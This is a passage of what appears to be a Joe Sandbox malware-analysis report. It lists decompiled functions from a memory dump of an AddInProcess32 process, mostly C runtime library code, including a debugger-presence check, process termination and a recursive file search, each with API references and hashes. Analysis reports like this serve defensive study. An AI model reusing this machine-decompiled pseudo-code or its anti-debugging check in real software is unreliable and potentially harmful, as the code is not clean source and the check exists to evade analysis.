				_t28 = _t49 - 4; // 0x8508c483
				_v544 =  *_t28;
				_t30 =  &_a8; // 0x3589f08b
				_v804 =  *_t30;
				_t32 =  &_a12; // 0x41b66c
				_v800 =  *_t32;
				_t34 =  &_v0; // 0xe80775c0
				_v792 =  *_t34;
				_t67 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				_t36 =  &_v812; // 0x402b4d
				if(UnhandledExceptionFilter(_t36) == 0 && _t67 == 0 && _a4 != 0xffffffff) {
					_t38 =  &_a4; // 0xfffffd3f
					_push( *_t38);
					_t57 = E00408268(_t57);
				}
				_t39 =  &_v8; // 0x669d
				return E0040798D(_t57, _t60,  *_t39 ^ _t69, _t65, _t67, _t68);
			}






































                                                          0x0040a94a
                                                          0x0040a94a
                                                          0x0040a94a
                                                          0x0040a955
                                                          0x0040a95a
                                                          0x0040a95c
                                                          0x0040a964
                                                          0x0040a966
                                                          0x0040a969
                                                          0x0040a96e
                                                          0x0040a96e
                                                          0x0040a97a
                                                          0x0040a98d
                                                          0x0040a99b
                                                          0x0040a9a1
                                                          0x0040a9a7
                                                          0x0040a9ad
                                                          0x0040a9b3
                                                          0x0040a9b9
                                                          0x0040a9bf
                                                          0x0040a9c5
                                                          0x0040a9cb
                                                          0x0040a9d1
                                                          0x0040a9d8
                                                          0x0040a9df
                                                          0x0040a9e6
                                                          0x0040a9ed
                                                          0x0040a9f4
                                                          0x0040a9fb
                                                          0x0040a9fc
                                                          0x0040aa02
                                                          0x0040aa05
                                                          0x0040aa0b
                                                          0x0040aa0b
                                                          0x0040aa0e
                                                          0x0040aa14
                                                          0x0040aa1e
                                                          0x0040aa21
                                                          0x0040aa27
                                                          0x0040aa2a
                                                          0x0040aa30
                                                          0x0040aa33
                                                          0x0040aa39
                                                          0x0040aa3c
                                                          0x0040aa4a
                                                          0x0040aa4c
                                                          0x0040aa52
                                                          0x0040aa61
                                                          0x0040aa6d
                                                          0x0040aa6d
                                                          0x0040aa70
                                                          0x0040aa75
                                                          0x0040aa76
                                                          0x0040aa82

                                                          APIs
                                                          • IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 0040AA42
                                                          • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 0040AA4C
                                                          • UnhandledExceptionFilter.KERNEL32(00402B4D,?,?,?,?,?,00000000), ref: 0040AA59
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                          • String ID:
                                                          • API String ID: 3906539128-0
                                                          • Opcode ID: 7865ea9ecd0fda7ef867976b7d22a37504bf58037927a2f6d251da333b172584
                                                          • Instruction ID: 1d215eb66d3b81abd3f740f9b228e457721bde31b897b318ebb9fe16acebe171
                                                          • Opcode Fuzzy Hash: 7865ea9ecd0fda7ef867976b7d22a37504bf58037927a2f6d251da333b172584
                                                          • Instruction Fuzzy Hash: B031B7749012189BCB21DF25DD897CDBBB8AF08310F5081EAE41CA7291EB749B858F49
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 00409F46 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          C-Code - Quality: 100%
                                                          			E00409F46(int _a4) {
				void* _t14;

				if(E0040C6DB(_t14) != 1 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E00409FCB(_t14, _a4);
				ExitProcess(_a4);
			}




                                                          0x00409f53
                                                          0x00409f6f
                                                          0x00409f6f
                                                          0x00409f78
                                                          0x00409f81

                                                          APIs
                                                          • GetCurrentProcess.KERNEL32(?,?,00409F45,?,?,?,?,?,004095AD), ref: 00409F68
                                                          • TerminateProcess.KERNEL32(00000000,?,00409F45,?,?,?,?,?,004095AD), ref: 00409F6F
                                                          • ExitProcess.KERNEL32 ref: 00409F81
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: Process$CurrentExitTerminate
                                                          • String ID:
                                                          • API String ID: 1703294689-0
                                                          • Opcode ID: 82ac6bd1c2ab95834c8f21e65aa87ef5a25bc11ec1c4254a4cdd2582e44cb245
                                                          • Instruction ID: 217025142714e9a49f747cafd0e13d6a4f3753d0f66b45a98753914879b60577
                                                          • Opcode Fuzzy Hash: 82ac6bd1c2ab95834c8f21e65aa87ef5a25bc11ec1c4254a4cdd2582e44cb245
                                                          • Instruction Fuzzy Hash: D7E0B631440108ABCF116F65DE4D9897FA9EB45742B018435F909E6276DB39EE42CB98
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040B5B2 Relevance: 1.6, APIs: 1, Instructions: 140COMMON
                                                          Download Yara Rule
                                                          C-Code - Quality: 77%
                                                          			E0040B5B2(void* __ecx, void* __esi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				union _FINDEX_INFO_LEVELS _v28;
				intOrPtr* _v32;
				intOrPtr _v36;
				signed int _v48;
				struct _WIN32_FIND_DATAW _v604;
				char _v605;
				intOrPtr* _v612;
				union _FINDEX_INFO_LEVELS _v616;
				union _FINDEX_INFO_LEVELS _v620;
				union _FINDEX_INFO_LEVELS _v624;
				signed int _v628;
				union _FINDEX_INFO_LEVELS _v632;
				union _FINDEX_INFO_LEVELS _v636;
				signed int _v640;
				signed int _v644;
				union _FINDEX_INFO_LEVELS _v648;
				union _FINDEX_INFO_LEVELS _v652;
				union _FINDEX_INFO_LEVELS _v656;
				union _FINDEX_INFO_LEVELS _v660;
				signed int _v664;
				union _FINDEX_INFO_LEVELS _v668;
				union _FINDEX_INFO_LEVELS _v672;
				void* __ebx;
				void* __edi;
				intOrPtr _t68;
				signed int _t73;
				signed int _t75;
				char _t77;
				signed char _t78;
				signed int _t84;
				signed int _t94;
				signed int _t97;
				union _FINDEX_INFO_LEVELS _t98;
				union _FINDEX_INFO_LEVELS _t100;
				intOrPtr* _t106;
				signed int _t109;
				intOrPtr _t116;
				signed int _t118;
				signed int _t121;
				signed int _t123;
				void* _t126;
				union _FINDEX_INFO_LEVELS _t127;
				void* _t128;
				intOrPtr* _t130;
				intOrPtr* _t133;
				signed int _t135;
				intOrPtr* _t138;
				signed int _t143;
				signed int _t149;
				void* _t155;
				signed int _t158;
				intOrPtr _t160;
				void* _t161;
				void* _t165;
				void* _t166;
				signed int _t167;
				signed int _t170;
				void* _t171;
				signed int _t172;
				void* _t173;
				void* _t174;

				_push(__ecx);
				_t133 = _a4;
				_t2 = _t133 + 1; // 0x1
				_t155 = _t2;
				do {
					_t68 =  *_t133;
					_t133 = _t133 + 1;
				} while (_t68 != 0);
				_t158 = _a12;
				_t135 = _t133 - _t155 + 1;
				_v8 = _t135;
				if(_t135 <=  !_t158) {
					_push(__esi);
					_t5 = _t158 + 1; // 0x1
					_t126 = _t5 + _t135;
					_t165 = E0040B1B0(_t126, 1);
					__eflags = _t158;
					if(_t158 == 0) {
						L7:
						_push(_v8);
						_t126 = _t126 - _t158;
						_t73 = E0040EAC7(_t165 + _t158, _t126, _a4);
						_t172 = _t171 + 0x10;
						__eflags = _t73;
						if(_t73 != 0) {
							goto L12;
						} else {
							_t130 = _a16;
							_t118 = E0040B9AD(_t130);
							_v8 = _t118;
							__eflags = _t118;
							if(_t118 == 0) {
								 *( *(_t130 + 4)) = _t165;
								_t167 = 0;
								_t14 = _t130 + 4;
								 *_t14 =  *(_t130 + 4) + 4;
								__eflags =  *_t14;
							} else {
								E0040A8C2(_t165);
								_t167 = _v8;
							}
							E0040A8C2(0);
							_t121 = _t167;
							goto L4;
						}
					} else {
						_push(_t158);
						_t123 = E0040EAC7(_t165, _t126, _a8);
						_t172 = _t171 + 0x10;
						__eflags = _t123;
						if(_t123 != 0) {
							L12:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E0040AB06();
							asm("int3");
							_t170 = _t172;
							_t173 = _t172 - 0x298;
							_t75 =  *0x41a000; // 0xdd666744
							_v48 = _t75 ^ _t170;
							_t138 = _v32;
							_t156 = _v28;
							_push(_t126);
							_push(0);
							_t160 = _v36;
							_v648 = _t156;
							__eflags = _t138 - _t160;
							if(_t138 != _t160) {
								while(1) {
									_t116 =  *_t138;
									__eflags = _t116 - 0x2f;
									if(_t116 == 0x2f) {
										break;
									}
									__eflags = _t116 - 0x5c;
									if(_t116 != 0x5c) {
										__eflags = _t116 - 0x3a;
										if(_t116 != 0x3a) {
											_t138 = E0040EB20(_t160, _t138);
											__eflags = _t138 - _t160;
											if(_t138 != _t160) {
												continue;
											}
										}
									}
									break;
								}
								_t156 = _v612;
							}
							_t77 =  *_t138;
							_v605 = _t77;
							__eflags = _t77 - 0x3a;
							if(_t77 != 0x3a) {
								L23:
								_t127 = 0;
								__eflags = _t77 - 0x2f;
								if(__eflags == 0) {
									L26:
									_t78 = 1;
								} else {
									__eflags = _t77 - 0x5c;
									if(__eflags == 0) {
										goto L26;
									} else {
										__eflags = _t77 - 0x3a;
										_t78 = 0;
										if(__eflags == 0) {
											goto L26;
										}
									}
								}
								_v672 = _t127;
								_v668 = _t127;
								_push(_t165);
								asm("sbb eax, eax");
								_v664 = _t127;
								_v660 = _t127;
								_v640 =  ~(_t78 & 0x000000ff) & _t138 - _t160 + 0x00000001;
								_v656 = _t127;
								_v652 = _t127;
								_t84 = E0040B3A6(_t138 - _t160 + 1, _t160,  &_v672, E0040B8BA(_t156, __eflags));
								_t174 = _t173 + 0xc;
								asm("sbb eax, eax");
								_t166 = FindFirstFileExW( !( ~_t84) & _v664, _t127,  &_v604, _t127, _t127, _t127);
								__eflags = _t166 - 0xffffffff;
								if(_t166 != 0xffffffff) {
									_t143 =  *((intOrPtr*)(_v612 + 4)) -  *_v612;
									__eflags = _t143;
									_t144 = _t143 >> 2;
									_v644 = _t143 >> 2;
									do {
										_v636 = _t127;
										_v632 = _t127;
										_v628 = _t127;
										_v624 = _t127;
										_v620 = _t127;
										_v616 = _t127;
										_t94 = E0040B2D7( &(_v604.cFileName),  &_v636,  &_v605, E0040B8BA(_t156, __eflags));
										_t174 = _t174 + 0x10;
										asm("sbb eax, eax");
										_t97 =  !( ~_t94) & _v628;
										__eflags =  *_t97 - 0x2e;
										if( *_t97 != 0x2e) {
											L34:
											_push(_v612);
											_t98 = E0040B5B2(_t144, _t166, _t97, _t160, _v640);
											_t174 = _t174 + 0x10;
											_v648 = _t98;
											__eflags = _t98;
											if(_t98 != 0) {
												__eflags = _v616 - _t127;
												if(_v616 != _t127) {
													E0040A8C2(_v628);
													_t98 = _v648;
												}
												_t127 = _t98;
											} else {
												goto L35;
											}
										} else {
											_t144 =  *((intOrPtr*)(_t97 + 1));
											__eflags = _t144;
											if(_t144 == 0) {
												goto L35;
											} else {
												__eflags = _t144 - 0x2e;
												if(_t144 != 0x2e) {
													goto L34;
												} else {
													__eflags =  *((intOrPtr*)(_t97 + 2)) - _t127;
													if( *((intOrPtr*)(_t97 + 2)) == _t127) {
														goto L35;
													} else {
														goto L34;
													}
												}
											}
										}
										L43:
										FindClose(_t166);
										goto L44;
										L35:
										__eflags = _v616 - _t127;
										if(_v616 != _t127) {
											E0040A8C2(_v628);
											_pop(_t144);
										}
										__eflags = FindNextFileW(_t166,  &_v604);
									} while (__eflags != 0);
									_t106 = _v612;
									_t149 = _v644;
									_t156 =  *_t106;
									_t109 =  *((intOrPtr*)(_t106 + 4)) -  *_t106 >> 2;
									__eflags = _t149 - _t109;
									if(_t149 != _t109) {
										E0040E5D0(_t156, _t156 + _t149 * 4, _t109 - _t149, 4, E0040B20D);
									}
									goto L43;
								} else {
									_push(_v612);
									_t127 = E0040B5B2( &_v604, _t166, _t160, _t127, _t127);
								}
								L44:
								__eflags = _v652;
								_pop(_t165);
								if(_v652 != 0) {
									E0040A8C2(_v664);
								}
								_t100 = _t127;
							} else {
								__eflags = _t138 - _t160 + 1;
								if(_t138 == _t160 + 1) {
									_t77 = _v605;
									goto L23;
								} else {
									_push(_t156);
									_t100 = E0040B5B2(_t138, _t165, _t160, 0, 0);
								}
							}
							_pop(_t161);
							__eflags = _v12 ^ _t170;
							_pop(_t128);
							return E0040798D(_t100, _t128, _v12 ^ _t170, _t156, _t161, _t165);
						} else {
							goto L7;
						}
					}
				} else {
					_t121 = 0xc;
					L4:
					return _t121;
				}
			}


































































                                                          0x0040b5b7
                                                          0x0040b5b8
                                                          0x0040b5bb
                                                          0x0040b5bb
                                                          0x0040b5be
                                                          0x0040b5be
                                                          0x0040b5c0
                                                          0x0040b5c1
                                                          0x0040b5c6
                                                          0x0040b5cd
                                                          0x0040b5d0
                                                          0x0040b5d5
                                                          0x0040b5de
                                                          0x0040b5df
                                                          0x0040b5e2
                                                          0x0040b5ec
                                                          0x0040b5f0
                                                          0x0040b5f2
                                                          0x0040b606
                                                          0x0040b606
                                                          0x0040b609
                                                          0x0040b613
                                                          0x0040b618
                                                          0x0040b61b
                                                          0x0040b61d
                                                          0x00000000
                                                          0x0040b61f
                                                          0x0040b61f
                                                          0x0040b624
                                                          0x0040b62b
                                                          0x0040b62e
                                                          0x0040b630
                                                          0x0040b641
                                                          0x0040b643
                                                          0x0040b645
                                                          0x0040b645
                                                          0x0040b645
                                                          0x0040b632
                                                          0x0040b633
                                                          0x0040b638
                                                          0x0040b63b
                                                          0x0040b64a
                                                          0x0040b650
                                                          0x00000000
                                                          0x0040b653
                                                          0x0040b5f4
                                                          0x0040b5f4
                                                          0x0040b5fa
                                                          0x0040b5ff
                                                          0x0040b602
                                                          0x0040b604
                                                          0x0040b656
                                                          0x0040b658
                                                          0x0040b659
                                                          0x0040b65a
                                                          0x0040b65b
                                                          0x0040b65c
                                                          0x0040b65d
                                                          0x0040b662
                                                          0x0040b666
                                                          0x0040b668
                                                          0x0040b66e
                                                          0x0040b675
                                                          0x0040b678
                                                          0x0040b67b
                                                          0x0040b67e
                                                          0x0040b67f
                                                          0x0040b680
                                                          0x0040b683
                                                          0x0040b689
                                                          0x0040b68b
                                                          0x0040b68d
                                                          0x0040b68d
                                                          0x0040b68f
                                                          0x0040b691
                                                          0x00000000
                                                          0x00000000
                                                          0x0040b693
                                                          0x0040b695
                                                          0x0040b697
                                                          0x0040b699
                                                          0x0040b6a4
                                                          0x0040b6a6
                                                          0x0040b6a8
                                                          0x00000000
                                                          0x00000000
                                                          0x0040b6a8
                                                          0x0040b699
                                                          0x00000000
                                                          0x0040b695
                                                          0x0040b6aa
                                                          0x0040b6aa
                                                          0x0040b6b0
                                                          0x0040b6b2
                                                          0x0040b6b8
                                                          0x0040b6ba
                                                          0x0040b6dc
                                                          0x0040b6dc
                                                          0x0040b6de
                                                          0x0040b6e0
                                                          0x0040b6ec
                                                          0x0040b6ec
                                                          0x0040b6e2
                                                          0x0040b6e2
                                                          0x0040b6e4
                                                          0x00000000
                                                          0x0040b6e6
                                                          0x0040b6e6
                                                          0x0040b6e8
                                                          0x0040b6ea
                                                          0x00000000
                                                          0x00000000
                                                          0x0040b6ea
                                                          0x0040b6e4
                                                          0x0040b6f4
                                                          0x0040b6fc
                                                          0x0040b702
                                                          0x0040b703
                                                          0x0040b705
                                                          0x0040b70d
                                                          0x0040b713
                                                          0x0040b719
                                                          0x0040b71f
                                                          0x0040b733
                                                          0x0040b738
                                                          0x0040b743
                                                          0x0040b759
                                                          0x0040b75b
                                                          0x0040b75e
                                                          0x0040b781
                                                          0x0040b781
                                                          0x0040b783
                                                          0x0040b786
                                                          0x0040b78c
                                                          0x0040b78c
                                                          0x0040b792
                                                          0x0040b798
                                                          0x0040b79e
                                                          0x0040b7a4
                                                          0x0040b7aa
                                                          0x0040b7cb
                                                          0x0040b7d0
                                                          0x0040b7d5
                                                          0x0040b7d9
                                                          0x0040b7df
                                                          0x0040b7e2
                                                          0x0040b7f5
                                                          0x0040b7f5
                                                          0x0040b803
                                                          0x0040b808
                                                          0x0040b80b
                                                          0x0040b811
                                                          0x0040b813
                                                          0x0040b871
                                                          0x0040b877
                                                          0x0040b87f
                                                          0x0040b884
                                                          0x0040b88a
                                                          0x0040b88b
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040b7e4
                                                          0x0040b7e4
                                                          0x0040b7e7
                                                          0x0040b7e9
                                                          0x00000000
                                                          0x0040b7eb
                                                          0x0040b7eb
                                                          0x0040b7ee
                                                          0x00000000
                                                          0x0040b7f0
                                                          0x0040b7f0
                                                          0x0040b7f3
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040b7f3
                                                          0x0040b7ee
                                                          0x0040b7e9
                                                          0x0040b88d
                                                          0x0040b88e
                                                          0x00000000
                                                          0x0040b815
                                                          0x0040b815
                                                          0x0040b81b
                                                          0x0040b823
                                                          0x0040b828
                                                          0x0040b828
                                                          0x0040b837
                                                          0x0040b837
                                                          0x0040b83f
                                                          0x0040b845
                                                          0x0040b84b
                                                          0x0040b852
                                                          0x0040b855
                                                          0x0040b857
                                                          0x0040b867
                                                          0x0040b86c
                                                          0x00000000
                                                          0x0040b760
                                                          0x0040b760
                                                          0x0040b771
                                                          0x0040b771
                                                          0x0040b894
                                                          0x0040b894
                                                          0x0040b89b
                                                          0x0040b89c
                                                          0x0040b8a4
                                                          0x0040b8a9
                                                          0x0040b8aa
                                                          0x0040b6bc
                                                          0x0040b6bf
                                                          0x0040b6c1
                                                          0x0040b6d6
                                                          0x00000000
                                                          0x0040b6c3
                                                          0x0040b6c3
                                                          0x0040b6c9
                                                          0x0040b6ce
                                                          0x0040b6c1
                                                          0x0040b8af
                                                          0x0040b8b0
                                                          0x0040b8b2
                                                          0x0040b8b9
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040b604
                                                          0x0040b5d7
                                                          0x0040b5d9
                                                          0x0040b5da
                                                          0x0040b5dc
                                                          0x0040b5dc

                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: cf934825e4989b3669a0a8800561c23c31f4387b453fe8c1142207dc4f3c2b90
                                                          • Instruction ID: 42f9fc78a20bcf31752cfd1438514bd7e9e7cf7844897b107b3e442f59e37174
                                                          • Opcode Fuzzy Hash: cf934825e4989b3669a0a8800561c23c31f4387b453fe8c1142207dc4f3c2b90
                                                          • Instruction Fuzzy Hash: 9041A87180421CAEDB10DF69CC89EEAB7B9EF45304F1442EEE41DA3251DB355E848F58
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 00402A80 Relevance: .1, Instructions: 56COMMON
                                                          Download Yara Rule
                                                          C-Code - Quality: 65%
                                                          			E00402A80(intOrPtr __ecx, intOrPtr* __edx) {
				intOrPtr _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				intOrPtr* _v32;
				intOrPtr _v36;
				signed int _t20;
				intOrPtr _t27;
				intOrPtr* _t39;
				signed int _t46;
				void* _t47;

				_push(0xfffffffe);
				_push(0x4184a0);
				_push(E00408540);
				_push( *[fs:0x0]);
				_push(_t27);
				_t20 =  *0x41a000; // 0xdd666744
				_v12 = _v12 ^ _t20;
				_push(_t20 ^ _t46);
				 *[fs:0x0] =  &_v20;
				_v28 = _t47 - 0x10;
				_v32 = __edx;
				_v36 = __ecx;
				_v8 = 0;
				asm("cpuid");
				_t39 = _v32;
				 *_t39 = _v36;
				 *((intOrPtr*)(_t39 + 4)) = _t27;
				 *((intOrPtr*)(_t39 + 8)) = 0;
				 *((intOrPtr*)(_t39 + 0xc)) = __edx;
				_v8 = 0xfffffffe;
				if(__ecx != 0) {
					 *[fs:0x0] = _v20;
					return 1;
				} else {
					 *[fs:0x0] = _v20;
					return 0 |  *_v32 != 0x00000000;
				}
			}














                                                          0x00402a83
                                                          0x00402a85
                                                          0x00402a8a
                                                          0x00402a95
                                                          0x00402a99
                                                          0x00402a9c
                                                          0x00402aa1
                                                          0x00402aa6
                                                          0x00402aaa
                                                          0x00402ab0
                                                          0x00402ab3
                                                          0x00402ab8
                                                          0x00402abb
                                                          0x00402aca
                                                          0x00402acc
                                                          0x00402acf
                                                          0x00402ad1
                                                          0x00402ad4
                                                          0x00402ad7
                                                          0x00402ada
                                                          0x00402ae3
                                                          0x00402b09
                                                          0x00402b17
                                                          0x00402ae5
                                                          0x00402af2
                                                          0x00402b00
                                                          0x00402b00

                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 939554a954728f8db5584538319c97bf9b6803059ee5ec694d8d9ad99d4ab84d
                                                          • Instruction ID: cd3d287f2a17d69873993bff786a10837b47d5c7720bf3d5fdeb00a8376c65b4
                                                          • Opcode Fuzzy Hash: 939554a954728f8db5584538319c97bf9b6803059ee5ec694d8d9ad99d4ab84d
                                                          • Instruction Fuzzy Hash: 4F110DB2A046199FC714CF59D94179AFBF4FB48724F20866EE819E3780E73968108B94
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040C6DB Relevance: .0, Instructions: 22COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          C-Code - Quality: 100%
                                                          			E0040C6DB(void* __ecx) {
				char _v8;
				intOrPtr _t7;
				char _t13;

				_t13 = 0;
				_v8 = 0;
				_t7 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
				_t16 =  *((intOrPtr*)(_t7 + 8));
				if( *((intOrPtr*)(_t7 + 8)) < 0) {
					L2:
					_t13 = 1;
				} else {
					E0040D48D(_t16,  &_v8);
					if(_v8 != 1) {
						goto L2;
					}
				}
				return _t13;
			}






                                                          0x0040c6e8
                                                          0x0040c6ea
                                                          0x0040c6ed
                                                          0x0040c6f0
                                                          0x0040c6f3
                                                          0x0040c704
                                                          0x0040c706
                                                          0x0040c6f5
                                                          0x0040c6f9
                                                          0x0040c702
                                                          0x00000000
                                                          0x00000000
                                                          0x0040c702
                                                          0x0040c70b

                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: d8c6421eefb6baf7e154cffdc0539c6e6fb36a064e6a55635a84c395d9314220
                                                          • Instruction ID: 8a77add6385ca8dd0fdccc753fca40e324a50a0b0a30f801e1a91afdd075c12a
                                                          • Opcode Fuzzy Hash: d8c6421eefb6baf7e154cffdc0539c6e6fb36a064e6a55635a84c395d9314220
                                                          • Instruction Fuzzy Hash: E5E04632911228EBCB14DBC9C94498AB2ACEB44B44B2101AAF501E3290C274EE00CBD4
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040CFD8 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          C-Code - Quality: 100%
                                                          			E0040CFD8(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x41a648) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E0040A8C2(_t46);
							E0040CB91( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E0040A8C2(_t47);
							E0040CC8F( *((intOrPtr*)(_t74 + 0x88)));
						}
						E0040A8C2( *((intOrPtr*)(_t74 + 0x7c)));
						E0040A8C2( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E0040A8C2( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E0040A8C2( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E0040A8C2( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E0040A8C2( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E0040D149( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x41a120) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E0040A8C2(_t31);
							E0040A8C2( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E0040A8C2(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E0040A8C2(_t74);
			}















                                                          0x0040cfe0
                                                          0x0040cfe4
                                                          0x0040cfec
                                                          0x0040cff5
                                                          0x0040cffa
                                                          0x0040d001
                                                          0x0040d009
                                                          0x0040d011
                                                          0x0040d01c
                                                          0x0040d022
                                                          0x0040d023
                                                          0x0040d02b
                                                          0x0040d033
                                                          0x0040d03e
                                                          0x0040d044
                                                          0x0040d048
                                                          0x0040d053
                                                          0x0040d059
                                                          0x0040cffa
                                                          0x0040d05a
                                                          0x0040d062
                                                          0x0040d075
                                                          0x0040d088
                                                          0x0040d096
                                                          0x0040d0a1
                                                          0x0040d0a6
                                                          0x0040d0af
                                                          0x0040d0b7
                                                          0x0040d0b8
                                                          0x0040d0be
                                                          0x0040d0c1
                                                          0x0040d0c4
                                                          0x0040d0cb
                                                          0x0040d0cd
                                                          0x0040d0d1
                                                          0x0040d0d9
                                                          0x0040d0e0
                                                          0x0040d0e6
                                                          0x0040d0e7
                                                          0x0040d0e7
                                                          0x0040d0ee
                                                          0x0040d0f0
                                                          0x0040d0f5
                                                          0x0040d0fd
                                                          0x0040d102
                                                          0x0040d103
                                                          0x0040d103
                                                          0x0040d106
                                                          0x0040d109
                                                          0x0040d10c
                                                          0x0040d10f
                                                          0x0040d10f
                                                          0x0040d11f

                                                          APIs
                                                          • ___free_lconv_mon.LIBCMT ref: 0040D01C
                                                            • Part of subcall function 0040CB91: _free.LIBCMT ref: 0040CBAE
                                                            • Part of subcall function 0040CB91: _free.LIBCMT ref: 0040CBC0
                                                            • Part of subcall function 0040CB91: _free.LIBCMT ref: 0040CBD2
                                                            • Part of subcall function 0040CB91: _free.LIBCMT ref: 0040CBE4
                                                            • Part of subcall function 0040CB91: _free.LIBCMT ref: 0040CBF6
                                                            • Part of subcall function 0040CB91: _free.LIBCMT ref: 0040CC08
                                                            • Part of subcall function 0040CB91: _free.LIBCMT ref: 0040CC1A
                                                            • Part of subcall function 0040CB91: _free.LIBCMT ref: 0040CC2C
                                                            • Part of subcall function 0040CB91: _free.LIBCMT ref: 0040CC3E
                                                            • Part of subcall function 0040CB91: _free.LIBCMT ref: 0040CC50
                                                            • Part of subcall function 0040CB91: _free.LIBCMT ref: 0040CC62
                                                            • Part of subcall function 0040CB91: _free.LIBCMT ref: 0040CC74
                                                            • Part of subcall function 0040CB91: _free.LIBCMT ref: 0040CC86
                                                          • _free.LIBCMT ref: 0040D011
                                                            • Part of subcall function 0040A8C2: RtlFreeHeap.NTDLL(00000000,00000000,?,0040CD22,?,00000000,?,?,?,0040CD49,?,00000007,?,?,0040D16F,?), ref: 0040A8D8
                                                            • Part of subcall function 0040A8C2: GetLastError.KERNEL32(?,?,0040CD22,?,00000000,?,?,?,0040CD49,?,00000007,?,?,0040D16F,?,?), ref: 0040A8EA
                                                          • _free.LIBCMT ref: 0040D033
                                                          • _free.LIBCMT ref: 0040D048
                                                          • _free.LIBCMT ref: 0040D053
                                                          • _free.LIBCMT ref: 0040D075
                                                          • _free.LIBCMT ref: 0040D088
                                                          • _free.LIBCMT ref: 0040D096
                                                          • _free.LIBCMT ref: 0040D0A1
                                                          • _free.LIBCMT ref: 0040D0D9
                                                          • _free.LIBCMT ref: 0040D0E0
                                                          • _free.LIBCMT ref: 0040D0FD
                                                          • _free.LIBCMT ref: 0040D115
                                                          Memory Dump Source
